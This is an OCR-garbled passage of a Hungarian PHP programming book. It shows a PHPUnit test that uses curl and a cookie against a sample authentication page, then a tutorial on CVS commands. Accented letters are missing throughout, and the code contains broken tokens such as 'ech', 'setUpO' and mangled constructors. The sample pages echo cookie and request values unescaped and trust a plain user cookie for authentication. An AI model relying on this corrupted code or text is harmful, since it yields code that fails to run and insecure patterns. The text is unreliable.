<?php require_once "PHPUnit/Framework/TestCase.php"; // A WebAuthCase egy elvont osztly, ami csak belltja az url-t // a tesztelshez, de tnyleges tesztet nem futtat, class WebAuthTestCase extends PHPUnit_Framework_TestCase{ public $curl_handle; public $url; function _ construct($name) { parent: :__ construct ( $name) ; } function setUpO { // a curl elksztse $this->curl_handle = curl_init(); // a curl belltsa a vlasz visszaadsra a curl_exec utn curl_setopt($this->curl_handle, CURLOPT_RETURNTRANSFER, 1); // az url belltsa $this->url = "http://devel.omniti.com/auth.php"; curl_setopt($this->curl_handle, CURLOPT_URL, $this->url); } function tearDown() { // a curl munkamenet bezrsa, ha vgeztnk curl_close($this->curl_handle); } } // A WebGoodAuthTestCase a sikeres hitelestst teszteli, class WebGoodAuthTestCase extends WebAuthTestCase { function__ construct($name) { parent::__ construct($name) ; } function testGoodAuth() { $user = ' george ' ; // user=NAME sti ltrehozsa $cookie = "user=$user;" ; // az elkldend sti belltsa curl_setopt($this->curl_handle, CURLOPT_COOKIE, $cookie); // a lekrdezs vgrehajtsa $ret = curl_exec($this->curl_handle); $this->assertRegExp("/<!-- crafted for $user -->/", $ret); } } // A WebBadAuthTestCase a sikertelen hitelestst teszteli, class WebBadAuthTestCase extends WebAuthTestCase { function _ construct($name) {

190

PHP fejleszts felsfokon

parent: :__ construct ($name) ; } function testBadAuth() { // nem adunk t sutit curl_setopt($this->curl_handle, CURLOPT_COOKIE, // a lekrdezs vgrehajtsa $ret = curl_exec($this->curl_handle); if(preg_match("/<!-- crafted for / " , $ r e t ) ) { $this->fail();
}

$cookie);

else { $this->pass();
} } }

if(realpath($_SERVER['PHP_SELF']) ==___________ FIL___ ) { require_once "PHPUnit/Framework/TestSuite.php"; require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new PHPUnit_Framework_TestSuite('WebGoodAuthTestCase'); $suite->addTestSuite("WebBadAuthTestCase"); PHPUnit_TextUI_TestRunner::run($suite);
} ?>

Az egysgteszttel szemben a tesztoldal nagyon egyszer, csupn egy blokkbl ll, ami egy fejlcet kszt, ha a sti ltezik:
<HTML> <BODY> <?php if($_COOKIE[user]) { ech "<!-- crafted for $_COOKIE[user] -->"; } ?> <?php print_r($_COOKIE) ?> Hello World. </BODY> </HTML>

A teszt nem tl kidolgozott, de jl mutatja, hogyan hasznlhatjuk a curl-t, illetve egyszer mintaillesztst a webforgalom utnzsra. A 13. fejezetben, ahol a munkamenet-kezelst s a hitelestst rszletekbe menen trgyaljuk, ezt a WebAuthTestCase infrastruktrt fogjuk hasznlni nhny valdi hitelest knyvtr tesztelsre.

6. fejezet Egysgtesztels

191

Tovbbi olvasmnyok
Az egysgtesztelssel kapcsolatban kitn forrs Kent Beck knyve, a Test Driven Development By Example (Addison-Wesley). A ktetben Java s Python nyelv pldkat tallunk, de a megkzelts alapveten nyelvfggetlen. Egy msik kivl forrs a JUnit honlapja a www. junit. org cmen. Ha tbbet szeretnnk tudni az extrm programozs mdszertanrl, olvassuk el Lisa Crispin s Tip House Testing Extrm Programming, illetve Kent Beck Extrm Programming Explained: Embrace Change cm knyvt (mindkett Addison-Wesley). Kivl munkk. A Refactoring: Improving the Design o/Existing Code Martin Fowler tollbl (AddisonWesley) a mintk szerepvel foglalkozik a kd-jraptsben. A knyv pldi a Java nyelvre sszpontostanak, de maguk a mintk igen ltalnosak. Ezt a ktetet is melegen ajnlom. Az olvashatsg minsgi (kvalitatv) elemzse szmos knyv tmja, de ha minket elssorban a hasznlt kpletek rdekelnek, rdemes a Google keresbe berni a readability score kifejezst; rengeteg hasznos tallatot kaphatunk.

A fejlesztkrnyezet kezelse
Szmos programoz szmra egy nagy szoftver fejlesztsnek kzben tartsa a legkevsb izgalmas munka. Elszr is, egy ilyen munknl a programoz alig r kdot. A szoksos esetben gyors haladst ignyl webes fejlesztsi modellel szemben a projektvezets ltalban arrl szl, hogy a minsg biztostsa vgett lasstjk a fejlesztst. Mindazonltal n ezeket a feladatokat programozi munkm termszetes kiterjesztsnek tartom, hiszen a lnyeg az, hogy a nap vgn az gyfelek ltal kvnt tartalom gy jelenjen meg a Vilghln, ahogy k szeretnk. Nem csak az a dolgom, hogy biztostsam a szksges kd megrst, hanem az is, hogy gondoskodjam annak megfelel mkdsrl, illetve arrl, hogy az j kd a meglev szolgltatsokat nem teszi tnkre. Az angol szakmai szhasznlatban az enterprise (sz szerint vllalkozs") divatos kifejezs manapsg. A legszigorbb meghatrozs szerint az enterprise software (vllalati szoftver") brmilyen zleti cl programot jelenthet. A vllalkozs " az zlet" szinonimja, gy minden zleti szoftver egyben vllalati szoftver". A szoftveriparban (s klnsen annak internetes gazatban) a vllalati" (enterprise) jelzhz tovbbi jelentsek kapcsoldnak: Ellenll Megfelelen tesztelt Biztonsgos Mretezhet Kezelhet Illeszthet Professzionlis

Ezek a minsgjelzk ppen olyanok, mint amiket a cgvezetk hallani szeretnek, gy nem csoda, hogy vllalati szoftverre" vgynak. A gond az, hogy a tbbi divatszhoz hasonlan a vllalati" kifejezs sem tbb reklmfogsnl: felcmkzhetjk vele a szoftvert, mintha az lenne a tkletes megolds az adott problmra, mikzben semmit nem rulunk el arrl,

194

PHP fejleszts felsfokon

hogy mirt is jobb a vele verseng termkeknl. Persze az ilyen divatszavak mgtt kezdetben valban halad trekvsek llnak, mieltt a piackutatk felkapnk ket. A fentebb felsorolt tulajdonsgok rendkvl fontosak, ha zletnket programokra ptjk. A knyvben mr megtanultuk, hogyan rhatunk megfelelen tesztelt szoftvert (a 6. fejezetben), a 13. s 14. fejezetekben pedig annak biztonsgoss ttelvel (mind a felhasznlkkal szembeni, mind az rdekkben nyjtott vdelemmel) is megismerkednk. A ktet jelents rsze a mretezhet s ellenll programok professzionlis fejlesztsvel foglalkozik, ebben a fejezetben azonban azt trgyaljuk, miknt tehetjk a PHP alkalmazsokat kezelhetv. A kezelhetsg trgykrbe kt dolog tartozik: Vltozatkezels - Brmilyen (kicsi vagy nagy) webhely kezelse vltozatkezel rendszer nlkl olyan, mintha biztonsgi hl nlkl jrnnk ktltncot. Csomagkezels - A csomagok kezelse szorosan kapcsoldik a vltozatkezelshez. Ezzel biztosthatjuk a webhely vltozatainak kvetst, elosztott krnyezetben pedig segtsgvel knnyen vehetnk fel j csompontot, ami pontosan a megfelel tartalommal rendelkezik. Ez nem csak a PHP kdokra vonatkozik, hanem a rendszerelemekre is.

Vltozatkezels
A vltozatkezel szoftver olyan eszkz, ami lehetv teszi a projektfjlok mdostsainak kvetst, s vltozatokat kszthetnk vele a projektbl az llomnyvltozatok alapjn. Ez nagymrtkben segti a szoftverfejleszts folyamatt, mert gy az egyes vltoztatsokat knnyen nyomon kvethetjk s szksg esetn visszafordthatjuk. Nem kell emlkeznnk r, mirt is hajtottunk vgre egy adott mdostst, vagy arra, hogyan nzett ki a kd a mdosts eltt. Elg, ha megvizsgljuk a fjlvltozatok kztti klnbsgeket s elolvassuk a naplkat, s mris lthatjuk, mikor trtnt a vltoztats, pontosan mi vltozott, s mirt (feltve, hogy kiknyszertjk a bvebb naplbejegyzsek hasznlatt). A fentiek mellett egy j vltozatkezel rendszer segtsgvel tbb fejleszt dolgozhat egyszerre biztonsgosan ugyanazokon az llomnyokon, s a vltoztatsok automatikusan egybeolvaszthatok. Amikor tbben is hozzfrnek egy fjlhoz, a leggyakoribb problma, hogy egyikk vletlenl fellrja a msik fejleszt ltal eszkzlt mdostsokat. A vltozatkezel rendszer ezt a kockzatot sznteti meg. A vltozatkezel vagy vltozatkvet rendszerek szabvnya" a nylt forrs programok kztt ma a CVS (Concurrent Versioning System). A CVS az RCS (Revison Control System) bvtseknt jtt ltre. Az RCS-t Walter Tichy rta a Purdue University-n 1985-ben; ez is egy korbbi rendszer, az ATT Labs cgnl 1975-ben kidolgozott SCSS (Source Code

7. fejezet A fejlesztkrnyezet kezelse

195

Control System) javtsa volt. Az RCS-t szerzje azrt rta, hogy lehetv tegye, hogy tbben dolgozzanak ugyanazon a fjlhalmazon, egy bonyolult zrolsi rendszer segtsgvel. A CVS az RCS-re pl; megengedi, hogy egy fjlnak tbb tulajdonosa legyen, lehetv teszi a tartalmak automatikus sszeolvasztst, a forrsfa felptst, illetve azt, hogy egyszerre tbb felhasznl rendelkezzen rhat pldnnyal a forrskdbl.

Ms vltozatkezel rendszerek

A CVS nem az egyetlen vltozatkezel rendszer. Szmos ms rendszerrel helyettesthetjk, ilyen pldul a BitKeeper vagy a Subversion. Mindkett a CVS hibit igyekszik kikszblni, de fejlettebb szolgltatsaik ellenre gy dntttem, a CVS-re sszpontostok, mert ez a legszlesebb krben hasznlt nylt forrs vltozatkezel rendszer, gy valsznleg ezzel tallkozunk.

Hasznljuk mindentt a CVS-t!

Mindig elcsodlkozom azon, hogy egyesek vltozatkezels nlkl fejlesztenek programokat. Szmomra a vltozatkezels alapvet fontossg a programozsban. Mg ha egy munkn egyedl dolgozom is, az llomnyok kezelsre akkor is hasznlom a CVS-t. Segtsgvel gyorsan hajthatok vgre vltoztatsokat, anlkl, hogy biztonsgi msolatok garmadjt kellene kznl tartanom. gy tudom, hogy ha kell fegyelmezettsggel dolgozom, szinte semmilyen hibt nem kvethetek el, amivel maradand krosodst okozhatnk a szoftverben. Ha csapatban dolgozunk, a CVS mg inkbb nlklzhetetlen. Napi munkm sorn t fejlesztvel mkdm egytt, akik ugyanazokkal az llomnyokkal dolgoznak. A CVS-t hasznlva szinte irnyts nlkl kpesek hatkonyan fejleszteni, s ami mg fontosabb, mindenki rti a tbbiek ltal vgrehajtott vltoztatsok logikjt, s nem kell maguknak nyomon kvetnik a mdostsokat.

A CVS alapjai
A CVS-sel trtn fjlkezels els lpse, hogy bevisszk a projektet a CVS trba (repository). Helyi trat gy hozhatunk ltre, hogy elszr ltrehozunk egy knyvtrat, amelyben a tr llomnyait trolni fogjuk. Az elrsi t ltalban /var/cvs, de ms is megfelel. Mivel ez a projekt adatainak lland trolja lesz, olyan helyre rdemes tennnk a trat, ahol a szablyos idkznknti biztonsgi ments biztostott. Elszr ltrehozzuk az alapknyvtrat, majd a cvs init paranccsal az alaptrolt:
> mkdir /var/cvs > cvs -d /var/cvs init

196

PHP fejleszts felsfokon

Ezzel elksztettk azokat a felgyeleti alapfjlokat, amelyekre a CVS-nek a knyvtrban szksge van.

A CVS hasznlata nem Unix rendszereken

A CVS itt szerepl utastsai Unix-megfelel rendszerekre (Linux, BSD, OS X stb.) vonatkoznak. A CVS Windowson is fut, de az ott hasznlt eltr utastsformt nem trgyaljuk. Rszleteket a http: //www. cvshome .org s http: //www. cvsnt .org cmeken tallunk.

A knyv pldinak bevitelhez az import utastst hasznlhatjuk, amelynek a fjlokat tartalmaz legfels szint knyvtrat kell megadnunk:
> cd Advanced_PHP > cvs -d /var/cvs import Advanced_PHP advanced_php start cvs import: Importing /var/cvs/books/Advanced_PHP/examples N books/Advanced_PHP/examples/chapter-10/l.php N books/Advanced_PHP/examples/chapter-10/10.php N books/Advanced_PHP/examples/chapter-10/ll.php N books/Advanced_PHP/examples/chapter-10/12.php N books/Advanced_PHP/examples/chapter~10/13.php N books/Advanced_PHP/examples/chapter-10/14.php N books/Advanced_PHP/examples/chapter-10/15.php N books/Advanced_PHP/examples/chapter-10/2.php

No conflicts created by this import

A kimenet azt jelzi, hogy minden llomny j bevitel (teht nem olyan fjlok, amelyek mr szerepeltek az adott trban), s a bevitel sorn minden rendben zajlott. A -d /var/cvs a hasznlni kvnt trhelyet adja meg. Bellthatjuk a CVSROOT krnyezeti vltozt is, de jobb, ha kifejezetten megadjuk, melyik trat akarjuk hasznlni, mert a klnbz projekteket klnbz trakba clszer helyezni. Ha a parancssorban megadjuk a tr nevt, biztosak lehetnk benne, hogy a megfelel trat hasznljuk. A CVS szmra az import parancsot kell kiadnunk. A parancsot kvet hrom elem (Advanced_PHP advanced_php start) a helyet, a ksztt, s a kiadst jelzi. A helyknt megadott Advanced_PHP azt mondja a CVS-nek, hogy a projekt fjljait a /var/cvs/Advanced_PHP knyvtrban akarjuk trolni. A nvnek nem kell megegyeznie a projektet jelenleg tartalmaz knyvtr nevvel, de a CVS ezen a nven fogja ismerni a projektet, s a fjlokat trol alapknyvtr nevnek is ennek kell lennie, amikor a fjlokat lekrjk a CVS-bl.

7. fejezet A fejlesztkrnyezet kezelse

197

A parancs kiadsval elindul az alaprtelmezett szerkesztprogram, s egy zenet bersra szlt fel. Minden alkalommal, amikor a CVS segtsgvel mdostjuk a ftrat, be kell rnunk egy naplzenetet, ami lerja, mit is csinlunk. rdemes a fejlesztket egysges s informatv naplzenetek hasznlatra szortani, mert gy knnyen nyomon kvethetjk, mirt volt szksg adott vltoztatsokra. Nem szksges magunknak bernunk a CVS parancssorba az -m "zenet "-et: ha szigor szablyokat vezetnk be az zenetek szmra, a vglegestsi zenetekbl automatikusan is felpthet a vltozsnapl, illetve a projekt egyb dokumentcii. A ksztt (advanced_jphp), illetve a kiadst (start) jelz cmkk a projekt azon gait hatrozzk meg, amelyeket a fjlokhoz trstunk. Az gak teszik lehetv, hogy a fejleszts tbb irnyban haladhasson. Az egyik g fjljainak mdostsa nincs hatssal a tbbi gra. A kszt gra azrt van szksg, mert elfordulhat, hogy msik cgtl szrmaz forrsokat is be kell vinnnk a trba. Amikor a projektet felvesszk, a CVS felcmkzi a fjlokat a kszt szerint. A kszt ghoz mindig visszatrhetnk, ha az eredeti, mdostatlan kdra vagyunk kvncsiak. Termszetesen ez is olyan g, mint a tbbi, gy a vltoztatsokat r is alkalmazhatjuk, de ez a gyakorlatban nemigen szksges. A CVS megkveteli, hogy a kszt, illetve a kiads cmkjt bevitelkor meghatrozzuk, ezrt kellett itt is bernunk. A legtbb esetben ksbb mr nem kell hozzjuk nylnunk. Egy msik g, amelyet minden projektben megtallunk, a HEAD, ami mindig a fejleszts f ga. Egyelre mi is mindent ebben az gban fogunk vgezni. Ha nem hatrozunk meg kifejezetten egy gat, a vltoztatsok a HEAD gra lesznek rvnyesek. A fjlokat bevitelkor nem ellenrzi a CVS, ezt magunknak kell megtennnk, hogy tudjuk, biztosan a CVS ltal kezelt pldnyokon dolgozunk. Mivel mindig megvan az esly, hogy bevitel kzben valamilyen vratlan hiba trtnik, ajnlatos ellenrizni a bevitt forrsanyagokat, s sajt szemmel gyzdni meg rla, hogy mindent bevittnk, mieltt az eredeti trolt trlnnk. A frissen bevitt projektfjlokat az albbi parancsokkal ellenrizhetjk:
> mv Advanced_PHP Advanced_PHP.old > cvs -d /var/cvs checkout Advanced_PHP cvs checkout: Updating Advanced_PHP cvs checkout: Updating Advanced_PHP/examples U Advanced_PHP/examples/chapter-10/l.php U Advanced_PHP/examples/chapter-10/10.php U Advanced_PHP/examples/chapter-10/ll.php U Advanced_PHP/examples/chapter-10/12.php U Advanced_PHP/examples/chapter-10/13.php U Advanced_PHP/examples/chapter-10/14.php U Advanced_PHP/examples/chapter-10/15.php # nzzk t magunk is az j Advanced_PHP trolt > rm -rf Advanced_PHP.old

198

PHP fejleszts felsfokon

Az j Advanced_PHP knyvtrnak pontosan ugyangy kell kinznie, mint a rginek, azzal a klnbsggel, hogy minden alknyvtrnak lesz egy j CVS alknyvtra. A CVS alknyvtr a vltozatkezel rendszer ltal ignyelt felgyeleti fjlokat trolja, gy az a legjobb, ha figyelmen kvl hagyjuk a jelenltt.

Binris fjlok a CVS-ben

A CVS alapllapotban minden bevitt llomnyt szvegknt kezel. Ez azt jelenti, hogy ha bevisznk egy binris fjlt - mondjuk egy kpet -, majd a kimen vltozatot kivesszk a vltozatkezel rendszerbl, egy nagyrszt hasznlhatatlan szveges llomnyt kapunk. A binris fjltpusok helyes kezelshez meg kell mondanunk a CVS-nek, mely fjlok tartalmaznak binris adatokat. Miutn (akr az import, akr a commit utastssal) bevittk llomnyainkat a rendszerbe, a cvs admin -kab <fjlnv> vgrehajtsval utasthatjuk a CVS-t, hogy egy adott fjlt binrisknt kezeljen. Az advanced_php. jpg-t pldul gy adhatjuk helyesen a trhoz:
> cvs add advanced_php.jpg > cvs commit -m 'this books cover art' advanced_php.jpg > cvs admin -kab advanced_php.jpg

Az llomny ezutn mr helyesen kezelhet. Egy msik megolds, hogy a CVS-t arra knyszertjk, hogy a fjlokat a nevk alapjn automatikusan kezelje. Ehhez a CVSROOT/cvswrappers fjlt kell mdostanunk. A CVS felgyeleti fjljait maga a CVS szerkeszti, ezrt elszr ezt kell tennnk: > cvs -d /var/cvs co CVSROOT Ezutn a cvswrappers llomnyba a kvetkezhz hasonl sort kell rnunk: *.jpg -k 'b' Miutn a vltoztatst vglegestettk, a rendszer minden . j pg vgzds fjlt binrisknt fog kezelni.

A fjlok mdostsa
Tegyk fel, hogy bevittnk minden fjlt a CVS-be, s mdostsokat vgeztnk rajtuk. Ltszlag minden gy mkdik, ahogy szeretnnk, ezrt a CVS-sel - amely nagyrszt kzi" rendszer - mentetni szeretnnk a vltoztatsokat. Amikor a munkaknyvtrban fjlokat

7. fejezet A fejlesztkrnyezet kezelse

199

mdostunk, a ftr nem mdosul automatikusan. Ha elgedettek vagyunk az eredmnnyel, a cvs commit utastssal meg kell mondanunk a CVS-nek, hogy a ftrban is vglegestheti a mdostsokat, amelyek ezutn llandsulnak. Az examples/chapter-7 /l .php eredeti vltozata a kvetkez volt: <?php ech "Hello $_GET['name']"; ?>

Ezt gy mdostottuk, hogy a name ne csak GET, hanem brmilyen tpus krelembl szrmazhasson: <?php ech "Hello $_REQUEST['name'] " ; ?>

A mdosts vglegestse a CVS-ben az albbi mdon trtnik: > cvs commit -m "use any method, not just GET" examples/chapter-7IX .php Checking in examples/chapter-7/1.php; /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v <-l.php new revision: 1.2; previous revision: 1.1 done Megfigyelhetjk az -m kapcsol hasznlatt, ami utn a vglegestsi zenetet adhatjuk meg a parancssorban. Az is lthat, hogy nem hatrozzuk meg a CVS tr helyt: amikor a munkaknyvtrban vagyunk, a CVS tudja, melyik trbl szrmaznak a fjlok. Amikor j fjlt vagy knyvtrat adunk egy projekthez, mg egy lpst vgre kell hajtanunk. Mieltt vglegesthetnnk a kezdeti vltozatot, a fjlt a cvs add utastssal hozz kell adnunk a rendszerhez: > cvs add 2.php cvs add: scheduling fil v 2 . p h p ' for addition cvs add: use 'cvs commit' to add this fil permanently Ahogy az zenet jelzi, a fjl hozzadsa csak tjkoztatja a trat, hogy fjl rkezik. Ahhoz, hogy a CVS mentse az j fjlt, vglegestennk kell azt.

A fjlok klnbsgeinek vizsglata


Brmilyen vltozatkezel rendszert hasznlunk is, az elsdleges cl az, hogy kpesek legynk klnbsget tenni a fjlok vltozatai kztt. A CVS-ben erre szmos lehetsg addik.

200

PHP fejleszts felsfokon

A legegyszerbb mdszer, amivel meghatrozhatjuk a klnbsgeket a munkapldny s a kimen vltozat kztt, a kvetkez: > cvs diff -u3 examples/chapter-7/1.php Index: examples/chapter-7/1.php RCS fil: /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.2 diff -u -3 -r l . 2 l.php
--- l.php 2003/08/26 15:40:47 +++ l.php 2003/08/26 16:21:22 @@ -1,3 +1,4 @@ <?php ech "Hello $_REQUEST['narae']"; +echo "\nHow are you?"; ?> 1.2

Az -u3 kapcsol hrom sor egyestett klnbsgvizsglatt (diff) jelenti. Maga a diff azt mutatja, hogy a vltozat, amihez kpest klnbsget keresnk, az 1.2-es (a CVS automatikusan szmozza a vltozatokat), s egyetlen sort adtunk hozz. Klnbsget kereshetnk egy adott vltozathoz kpest, de kt vltozat kztt is. Egy adott fjl ltez vltozatszmait a cvs log utastssal tekinthetjk meg. A parancs hatsra megjelenik a fjl minden vglegestett vltozata, a vglegestsek dtuma, illetve a hozzjuk tartoz zenetek:
> cvs log examples/chapter-7/1.php RCS fil: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v Working fil: examples/chapter-7/1.php head: 1.2 branch: locks: strict access list: symbo1i c name s: keyword substitution: kv totl revisions: 2; selected revisions: 2 description: revision 1.2 date: 2003/08/26 15:40:47; author: george; state: Exp; lines: +1 -1 use any request variable, not just GET revision 1.1 date: 2003/08/26 15:37:42; initial import

author: george;

state: Exp;

7. fejezet A fejlesztkrnyezet kezelse

201

Ahogy a pldbl lthat, a fjlnak kt mdostott vltozata (revison 1.1 s 1.2) ltezik. A klnbsgeket gy kereshetjk meg kztk: > cvs diff -u3 -r 1.1 -r 1.2 examples/chapter-7/1 .php Index: examples/chapter-7/1.php RCS file : /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.1 retrieving revision 1.2 diff -u -3 -rl.l -rl.2
--- l.php 2003/08/26 15:37:42 +++ l.php 2003/08/26 15:40:47 @@ -1,3 +1,3 @@ <?php -ech "Hello $_GET['name']"; +echo "Hello $_REQUEST['name']"; ?> 1.1 1.2

Az 1.1-es vltozat s az aktulis munkapldny kztti klnbsgeket gy jelenthetjk meg: > cvs diff -u3 -r 1.1 examples/chapter-7/1 .php Index: examples/chapter-7/1.php RCS file: /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.1 diff -u -3 -rl.l l.php
--- l.php +++ l.php @@ -1,3 +1,4 <?php -ech "Hello +echo "Hello +echo "\nHow ?> 2003/08/26 15:37:42 2003/08/26 16:21:22 @@ $_GET['name']"; $_REQUEST['name']"; are you?"; 1.1

Rendkvl hasznos az a lehetsg is, hogy egy adott dtumblyeghez vagy idtartamhoz kpest is kereshetnk klbsgeket. Gyakran elfordul, hogy egy webhelyen hiba lp fel, de nem tudjuk, pontosan mikor is kvetkezett be, csak azt, hogy a hely egy ismert idpontban hatrozottan mkdtt. Ilyen esetben az kell tudnunk, milyen vltozsok trtntek az adott idpont ta, a hiba okt ugyanis biztosan ezek kztt talljuk. A CVS rendelkezik az ehhez szksges tmogatssal. Ha tudjuk pldul, hogy egy olyan mdostst keresnk, amit az elmlt 20 percben hajtottunk vgre, ezt az utastst kell kiadnunk: > cvs diff -u3 -D '20 minutes Index: examples/chapter-7/l.php ago' examples/chapter-7/1 .php

202

PHP fejleszts felsfokon

RCS fil: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.2 diff -u -3 -rl.2 l.php --- l.php 2003/08/26 15:40:47 1.2 +++ l.php 2003/08/26 16:21:22 @@ -1,3 +1,4 @@ <?php ech "Hello $_REQUEST['name']"; +echo "\nHow are you?"; ?>

A CVS dtumfeldolgozja elg jl mkdik; relatv s abszolt dtumokat is megadhatunk, tbbfle formban. A CVS azt is megengedi, hogy rekurzv klnbsgkeresst vgezznk a knyvtrakon; vagy gy, hogy megadjuk a knyvtrat, vagy gy, hogy kihagyjuk a klnbsgfjlt, mely esetben az aktulis knyvtrban ismteljk a keresst. Ez akkor lehet hasznos, ha egyszerre tbb fjl klnbsgeit szeretnnk megvizsglni.

Megjegyzs

Az id alap CVS klnbsgfjlok a legfontosabb hibaelhrt eszkzk kz tartoznak. Amikor hibrl rkezik jelents a webhellyel kapcsolatban, amin dolgozom, az els krdseim ezek: Mikor mkdtt utoljra?" s Mikor rkezett az els hibajelents?". A kt idpontot elklntve a CVS hasznlatval gyakran azonnal megtallhat a problmt okoz vglegestsi utasts.

Tbb fejleszt egy munkn


Az egyik legnagyobb kihvs, amivel szembe kell nznnk, amikor lehetsget adunk arra, hogy tbben dolgozhassanak egyszerre ugyanazon a fjlon, az ltaluk vgrehajtott mdostsok egyestse gy, hogy az egyik fejleszt munkja ne tegye tnkre a msikt. A CVS az update utastssal tmogatja ezt. Az update-et szmos mdon hasznlhatjuk. A legegyszerbb, amikor biztostjuk, hogy egy fjl napraksz legyen. Ha a kimen vltozat nem a legfrissebb a trban, a CVS megksrli a klnbsgek alapjn frissteni. Az 1. php frisstsnl pldul a kvetkez egyestsi figyelmeztetst kaphatjuk: > cvs update examples/chapter-7/1.php M examples/chapter-7/1.php Ebben a pldban az M azt jelzi, hogy a munkaknyvtrban lev vltozat a legfrissebb, de vannak helyi, vglegestetlen mdostsok.

7. fejezet A fejlesztkrnyezet kezelese

203

Ha valaki ms dolgozott a fjlon s vglegestett egy mdostst a kezdeti vltozat ta, az zenet gy fest:
> cvs update l.php U l.php

Ebben a pldban az U azt jelzi, hogy a munkapldnyunknl ltezik frissebb vltozat, a CVS sikeresen belevitte a vltoztatsokat, s frisstette a vltozatszmt. A CVS nha kavarodst is kpes okozni. Ha kt fejleszt egy fjlnak pontosan ugyanazon a rszn dolgozik, tkzsre kerlhet sor, amikor a CVS megprblja egyesteni a kt vltozatot:
> cvs update examples/chapter-7/1.php RCS fil: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.2 retrieving revision 1.3 Merging differences between 1.2 and 1.3 int l.php rcsmerge: warning: conflicts during mrge cvs update: conflicts found in examples/chapter-7/1 .php C examples/chapter-7/1.php

Minden CVS parancs kimenett rdemes alaposan ttanulmnyozni. A C az update kimenetben tkzst jell, miszerint a CVS megprblta egyesteni a fjlokat, de nem jrt sikerrel, gy a helyi msolat ltalban instabil llapotban marad, s ezt magunknak kell helyrehoznunk. Egy ilyen tpus frisstsi tkzs utn a fjl gy fog kinzni: <?php ech "Hello $_REQUEST['name']"; <<<<< l.php
ech "\nHow are you?"; ech "Goodbye $_REQUEST['name']"; >>> 1.3 ?>

Mivel a helyi msolatban egy olyan mdostott sor szerepel, amit mshol vglegestettek, a CVS megkveteli, hogy a fjlokat kzzel" egyestsk. A rendszer sajnos sszekutyulta a fjlt, gy az nyelvtanilag nem lesz helyes, amg a hibt ki nem javtjuk. Ha helyre akarjuk lltani az eredeti pldnyt, amelynek a frisstsvel ksrleteztnk, megtehetjk, a CVS ugyanis . # fjlnv, vltozat nven menti azt ugyanabba a knyvtrba. Ahhoz, hogy az ilyen kavarodst megakadlyozzuk, ajnlatos gy futtatni a frisstst: > cvs -nq update

204

PHP fejleszts felsfokon

Az -n kapcsol arra utastja a CVS-t, hogy tnylegesen ne hajtson vgre mdostsokat. A CVS ekkor megvizsglja, milyen tennivali vannak, de egyetlen fjlt sem vltoztat meg. Szoksos esetben a CVS minden ellenrztt knyvtrhoz zeneteket fz. Ha egy fa s egy g vge kztt keressk a klnbsgeket, ezek az zenetek elg zavarak lehetnek. A CVS-t a -q kapcsolval inthetjk csendre". A commit-hoz hasonlan az update is mkdik nhv (rekurzv) mdon. Ha azt szeretnnk, hogy a CVS kpes legyen minden jonnan felvett knyvtrat egy fhoz adni, a frisstshez a -d kapcsolt kell csatolnunk. Ha azt gyantjuk, hogy fnkhoz egy knyvtrat adtak (vagy ha ldzsi mniban szenvednk, minden frisstsnl), gy futtassuk a frisstst: > cvs update -d

Jelzcmkk
A jelzcmkk (szimbolikus cmkk) hasznlata az egyik mdja annak, hogy egy vltozatszmot tbb fjlhoz rendeljnk egy adott trban, ami a vltozatkezelsnl rendkvl hasznos. Amikor egy programvltozatot kibocstunk az zemi kiszolglk szmra, vagy egy knyvtrat tadunk ms felhasznlknak, knyelmes, ha az alkalmazs ltal hasznlt valamennyi fjl adott vltozatait a kvnt vltozathoz rendelhetjk. Pldakppen vegyk a 6. fejezetben elksztett Text_Statistics csomagot, amit a PEAR-ben a CVS-sel kezelnk. A fjlok legfrissebb vltozatai a kvetkezk: > cvs status
cvs server: Examining . Fil: Statistics.php Status: Up-to-date

Working revision: 1.4 Repository revision: 1.4 /repository/pear/Text_Statistics/Text/Statistics.php,v Sticky Tag: (nne) Sticky Date: (nne) Sticky Options: (nne)

Fil: Word.php

Status: Up-to-date

Working revision: 1.3 Repository revision: 1.3 /repository/pear/Text_Statistics/Text/Word.php,v Sticky Tag: (nne) Sticky Date: (nne) Sticky Options: (nne)

7. fejezet A fejlesztkrnyezet kezelse

205

Ahelyett, hogy hagynnk, hogy a felhasznlk az utols vltozatot hasznljk, egyszerbb, ha vltozatszmmal ltjuk el a csomagot, hogy a felhasznlk tudjk, stabil vltozatot hasznlnak. Ha a Text_Statistics 1.1-es vltozatt szeretnnk kibocstani, valahogy rgztennk kell, hogy az a Statistics .php 1.4-es CVS vltozatt, illetve a Word.php 1.3-as vltozatt tartalmazza, hogy brki nv szerint" krhesse az 1.1-es vltozatot. A cmkzs ppen ezt teszi lehetv. Ha a kimen anyagban minden fjl legfrissebb vltozatt a RELEASE_1_1 cmkvel szeretnnk elltni, az albbi parancsot kell kiadnunk:
> cvs tag RELEASE_1_1

Egyes fjlokat is felcmkzhetnk, a cmkk lekrdezsre pedig kt md van. Ha a kimen pldnyt frisstjk, a cmke nevre ugyangy frissthetnk, mintha egy adott vltozatszmra frisstennk. Az albbi utastssal pldul a kimenetet visszallthatjuk az 1.0-s vltozatra:
> cvs update -r RELEASE_1_0

Vigyznunk kell, mert a fjlok adott vltozatszmra val frisstshez hasonlan a jelzcmkhez igazt frissts is ragads" cmkt rendel a kimen fjlhoz. Nha elfordulhat, hogy nincs szksgnk a teljes trra, ami a projekt minden CVS fjljt tartalmazza (pldul amikor egy terjeszthet vltozatot lltunk ssze). A CVS az export utastssal tmogatja ezt, amely minden fjlrl msolatot kszt, kivve a CVS metaadatokat. Ez a megolds abban az esetben is idelis, ha zemi webkiszolglk szmra bocstunk ki egy vltozatot, ahol nem szeretnnk, hogy idegenek hozzfrhessenek a metaadatokhoz. A RELEASE_1_1 ilyen kibocstshoz az albbi export parancsot adhatjuk ki: > cvs -d cvs.php.net:/repository export -r RELEASE_1_1 \ -d Text_Statistics-l.1 pear/Text/Statistics Ezzel a pear/Text/Statistics CVS modul (itt tallhat a Text_Statistics a PEAR-ben) RELEASE_1_1 cmkjt a Text_Statistics-l. 1 helyi knyvtrba visszk t.

gak
